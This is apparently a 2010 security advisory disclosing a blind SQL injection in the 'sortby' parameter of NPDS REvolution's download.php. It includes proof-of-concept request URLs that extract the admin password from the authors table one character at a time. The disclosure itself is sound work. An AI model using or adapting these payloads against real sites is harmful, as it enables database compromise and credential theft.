Blind SQL injection vulnerability in NPDS REvolution

[advisory () htbridge ch]

Vulnerability ID: HTB22364
Reference: http://www.htbridge.ch/advisory/blind_sql_injection_vulnerability_in_NPDSREvolution.html
Product: NPDS REvolution
Vendor: NPDS
Vulnerable Version: REvolution 10.02 and Probably Prior Versions
Vendor Notification: 29 April 2010 
Vulnerability Type: Blind SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/download.php" script to properly sanitize user-supplied input in 
"sortby" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the 
database, compromise the application, access to sensitive data, or exploit various vulnerabilities in the underlying 
SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available: 


http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 
110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC--
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 
110%29+and+substr%28pwd,1,1%29=char%2849%29%29+DESC--
...
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 
110%29+and+substr%28pwd,1,1%29=char%2884%29%29+DESC--
....
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 
110%29+and+substr%28pwd,2,1%29=char%2848%29%29+DESC--
...
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 
110%29+and+substr%28pwd,2,1%29=char%28101%29%29+DESC--
...
...
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 
110%29+and+substr%28pwd,3,1%29=char%2852%29%29+DESC--
...
...
...